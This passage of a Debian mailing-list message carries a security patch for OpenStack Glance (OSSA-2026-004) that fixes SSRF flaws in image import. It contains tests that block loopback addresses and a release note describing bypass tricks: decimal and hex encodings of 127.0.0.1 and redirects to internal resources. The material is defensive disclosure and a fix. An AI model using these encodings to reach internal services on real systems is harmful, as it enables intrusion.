++        result = utils.normalize_hostname("::1")
++        self.assertEqual(result, "::1")
++        mock_getaddrinfo.assert_not_called()
++
++        result = utils.normalize_hostname("2001:db8::1")
++        self.assertEqual(result, "2001:db8::1")
++        mock_getaddrinfo.assert_not_called()
++
++        # Test IPv6-mapped IPv4 - should normalize
++        result = utils.normalize_hostname("::ffff:127.0.0.1")
++        ipv6 = ipaddress.IPv6Address(result)
++        expected = ipaddress.IPv6Address("::ffff:127.0.0.1")
++        self.assertEqual(ipv6, expected)
++        mock_getaddrinfo.assert_not_called()
++
++        # Test shorthand IP addresses - should be rejected
++        mock_getaddrinfo.reset_mock()
++        result = utils.normalize_hostname("127.1")
++        self.assertIsNone(result)
++        mock_getaddrinfo.assert_not_called()
++
++        result = utils.normalize_hostname("10.1")
++        self.assertIsNone(result)
++
++        result = utils.normalize_hostname("192.168.1")
++        self.assertIsNone(result)
++
++        # Test valid hostname - should return unchanged
++        mock_getaddrinfo.reset_mock()
++        mock_getaddrinfo.side_effect = None
++        mock_getaddrinfo.return_value = [('', '', '', '', ('', 80))]
++        result = utils.normalize_hostname("example.com")
++        self.assertEqual(result, "example.com")
++        mock_getaddrinfo.assert_called_once_with("example.com.", 80)
++
++        # Test valid domain starting with digit (3m.com)
++        mock_getaddrinfo.reset_mock()
++        mock_getaddrinfo.side_effect = None
++        mock_getaddrinfo.return_value = [('', '', '', '', ('', 80))]
++        result = utils.normalize_hostname("3m.com")
++        self.assertEqual(result, "3m.com")
++        mock_getaddrinfo.assert_called_once_with("3m.com.", 80)
++
++        # Test valid domain starting with 0x (0xdeadbeef.com)
++        mock_getaddrinfo.reset_mock()
++        mock_getaddrinfo.side_effect = None
++        mock_getaddrinfo.return_value = [('', '', '', '', ('', 80))]
++        result = utils.normalize_hostname("0xdeadbeef.com")
++        self.assertEqual(result, "0xdeadbeef.com")
++        mock_getaddrinfo.assert_called_once_with(
++            "0xdeadbeef.com.", 80)
++
++        # Test invalid/unresolvable hostname - should be rejected
++        mock_getaddrinfo.reset_mock()
++        mock_getaddrinfo.side_effect = socket.gaierror(
++            "Name or service not known")
++        result = utils.normalize_hostname("invalid-hostname-12345")
++        self.assertIsNone(result)
++        mock_getaddrinfo.assert_called_once_with(
++            "invalid-hostname-12345.", 80)
++
++    def test_validate_import_uri_ipv6_validation(self):
++        """Test IPv6 addresses are properly validated against blacklist."""
++        # Test that IPv6 localhost is blocked when in blacklist
++        self.config(disallowed_hosts=['::1'],
++                    group='import_filtering_opts')
++        self.config(allowed_ports=[80],
++                    group='import_filtering_opts')
++        # IPv6 addresses in URLs are in brackets, but urlparse removes them
++        # So we test with the hostname directly
++        self.assertFalse(
++            utils.validate_import_uri("http://[::1]:80/";))
++
++        # Test that IPv6 address not in blacklist is allowed
++        self.config(disallowed_hosts=[],
++                    group='import_filtering_opts')
++        self.config(allowed_hosts=['2001:db8::1'],
++                    group='import_filtering_opts')
++        self.assertTrue(utils.validate_import_uri("http://[2001:db8::1]:80/";))
++
++        # Test that IPv6 localhost can be blocked separately from IPv4
++        # This ensures IPv6 addresses are properly normalized and can be
++        # blacklisted
++        self.config(disallowed_hosts=['127.0.0.1'],
++                    group='import_filtering_opts')
++        self.config(allowed_hosts=[],  # Explicitly clear whitelist
++                    group='import_filtering_opts')
++        self.config(allowed_ports=[80],
++                    group='import_filtering_opts')
++        # IPv6 localhost should pass if not in blacklist (no whitelist)
++        # The fix ensures IPv6 is normalized and can be blacklisted separately
++        result = utils.validate_import_uri("http://[::1]:80/";)
++        # If ::1 is not in blacklist and no whitelist, it will pass
++        # Administrators should add both IPv4 and IPv6 to blacklist if needed
++        self.assertTrue(result)
++
++        # Test that IPv6 can be blacklisted separately
++        self.config(disallowed_hosts=['127.0.0.1', '::1'],
++                    group='import_filtering_opts')
++        self.assertFalse(utils.validate_import_uri("http://[::1]:80/";))
+Index: glance/releasenotes/notes/bug-2138602-5720ad2e501b9e57.yaml
+===================================================================
+--- /dev/null
++++ glance/releasenotes/notes/bug-2138602-5720ad2e501b9e57.yaml
+@@ -0,0 +1,94 @@
++---
++security:
++  - |
++    Fixed multiple Server-Side Request Forgery (SSRF) vulnerabilities in
++    Glance's image import functionality. These vulnerabilities could allow
++    attackers to bypass URL validation and access internal resources.
++
++    **web-download Import Method SSRF:**
++
++    The web-download import method had two SSRF vulnerabilities:
++
++    *HTTP Redirect Bypass:*
++    The web-download import method did not validate redirect destinations when
++    following HTTP redirects. An attacker could provide an initial URL that
++    passed validation, but redirect to an internal or disallowed resource that
++    would bypass the security checks. This has been fixed by implementing
++    ``SafeRedirectHandler`` that validates redirect destinations before
++    following them using the same ``validate_import_uri()`` checks as the
++    initial URL.
++
++    *IP Address Encoding Bypass:*
++    The web-download import method's URL validation could be bypassed by
++    encoding IP addresses in alternative formats (decimal integer,
++    hexadecimal, octal). For example, ``127.0.0.1`` could be encoded as
++    ``2130706433`` (decimal) or ``0x7f000001`` (hexadecimal) to bypass
++    blacklist checks. This has been fixed by implementing
++    ``normalize_hostname()`` function that uses Python's ``ipaddress`` module
++    to validate IP addresses. The ``ipaddress`` module only accepts standard
++    dotted-decimal notation for IPv4 and standard format for IPv6, 
automatically
++    rejecting all encoded formats (decimal, hexadecimal, octal). Any attempt 
to
++    use encoded IP formats is rejected, preventing SSRF bypass attacks.
++
++    **glance-download Import Method SSRF:**
++
++    The glance-download import method had redirect validation bypass
++    vulnerabilities in two steps of the import flow:
++
++    *Image Data Download:*
++    When downloading image data from a remote Glance endpoint, redirects were
++    not validated, allowing attackers to redirect to internal services.
++
++    *Metadata Fetch:*
++    When fetching image metadata from a remote Glance endpoint, redirects were
++    not validated, allowing attackers to redirect to internal services.
++
++    Both steps have been fixed by using ``SafeRedirectHandler`` to validate
++    redirect destinations before following them.
++
++    **OVF Processing SSRF:**
++
++    The OVF processing functionality had a critical SSRF vulnerability with
++    zero protection - no URI validation, no redirect validation, and no IP
++    normalization. The code directly called ``urllib.request.urlopen(uri)``
++    without any validation checks. This has been fixed by adding URI
++    validation using ``validate_import_uri()`` and redirect validation using
++    ``SafeRedirectHandler``.
++
++    **Affected Components:**
++    - ``glance.common.scripts.utils.get_image_data_iter()``
++    - ``glance.common.utils.validate_import_uri()``
++    - 
``glance.async_.flows._internal_plugins.glance_download._DownloadGlanceImage.execute()``
++    - ``glance.async_.flows.api_image_import._ImportMetadata.execute()``
++    - ``glance.async_.flows.ovf_process._OVF_Process._get_ova_iter_objects()``
++
++    **Impact:**
++    - Severity: High (web-download, glance-download), Critical (OVF 
processing)
++    - Affected Versions: All versions prior to this fix
++    - Workaround: Administrators can temporarily disable affected import
++      methods by removing them from the ``enabled_import_methods``
++      configuration option
++
++    Bugs `#2138602 <https://bugs.launchpad.net/glance/+bug/2138602>`_,
++    `#2138672 <https://bugs.launchpad.net/glance/+bug/2138672>`_,
++    `#2138675 <https://bugs.launchpad.net/glance/+bug/2138675>`_
++
++fixes:
++  - |
++    Bug 2138602_: Fixed SSRF vulnerability in web-download import method via
++    HTTP redirect bypass and IP address encoding bypass. Added redirect
++    validation using SafeRedirectHandler and IP address validation using
++    Python's ``ipaddress`` module to reject encoded IP formats and prevent
++    bypass attacks.
++
++    Bug 2138672_: Fixed SSRF vulnerability in glance-download import method
++    via HTTP redirect bypass. Added redirect validation for both image data
++    download and metadata fetch operations.
++
++    Bug 2138675_: Fixed SSRF vulnerability in OVF processing functionality
++    which lacked URI validation. Added URI validation and redirect validation
++    to prevent SSRF attacks when processing OVA files.
++
++    .. _2138602: https://bugs.launchpad.net/bugs/2138602
++    .. _2138672: https://bugs.launchpad.net/bugs/2138672
++    .. _2138675: https://bugs.launchpad.net/bugs/2138675
diff -Nru glance-30.0.0/debian/patches/series 
glance-30.0.0/debian/patches/series
--- glance-30.0.0/debian/patches/series 2025-07-12 10:29:31.000000000 +0200
+++ glance-30.0.0/debian/patches/series 2026-04-05 16:42:49.000000000 +0200
@@ -1,2 +1,3 @@
 sql_conn-registry.patch
 missing-files.patch
+OSSA-2026-004_Fix_SSRF_vulnerabilities_in_image_import_API.patch
diff -Nru glance-30.0.0/debian/patches/sql_conn-registry.patch 
glance-30.0.0/debian/patches/sql_conn-registry.patch
--- glance-30.0.0/debian/patches/sql_conn-registry.patch        2025-07-12 
10:29:31.000000000 +0200
+++ glance-30.0.0/debian/patches/sql_conn-registry.patch        2026-04-05 
16:42:49.000000000 +0200
@@ -7,7 +7,7 @@
 ===================================================================
 --- glance.orig/etc/glance-api.conf
 +++ glance/etc/glance-api.conf
-@@ -1753,6 +1753,7 @@
+@@ -1732,6 +1732,7 @@
  # The SQLAlchemy connection string to use to connect to the database. (string
  # value)
  #connection = <None>

--- End Message ---
--- Begin Message ---
Package: release.debian.org
Version: 12.14

This update has been released as part of Debian 12.14.

--- End Message ---

Reply via email to